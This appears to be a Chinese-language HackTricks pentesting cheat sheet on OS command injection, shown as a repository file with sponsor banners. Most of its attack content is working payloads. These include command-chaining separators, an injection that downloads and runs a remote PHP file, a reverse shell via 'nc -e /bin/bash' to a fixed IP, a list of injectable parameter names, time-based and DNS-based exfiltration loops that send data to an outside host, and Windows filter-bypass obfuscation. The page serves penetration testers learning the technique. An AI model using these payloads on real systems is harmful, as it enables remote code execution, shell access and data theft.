hacktricks/pentesting-web/command-injection.md

6.7 KiB
Raw Blame History

命令注入

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

什么是命令注入?

操作系统命令注入也称为shell注入是一种网络安全漏洞它允许攻击者在运行应用程序的服务器上执行任意操作系统OS命令并通常完全危及应用程序及其所有数据。来自这里)。

上下文

根据您的输入被注入的位置,您可能需要在命令之前终止引用上下文(使用"')。

命令注入/执行

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

限制 绕过

如果您尝试在Linux机器内执行任意命令,您会对阅读以下绕过方法感兴趣:

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

示例

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

参数

以下是前25个可能容易受到代码注入和类似RCE漏洞影响的参数来自 link

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

基于时间的数据泄露

提取数据:逐字符

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

基于DNS的数据泄露

基于工具 https://github.com/HoLyVieR/dnsbin,同时托管于 dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

在线工具检查基于DNS的数据泄露

  • dnsbin.zhack.ca
  • pingb.in

过滤绕过

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

参考资料

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}

{% embed url="https://portswigger.net/web-security/os-command-injection" %}

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}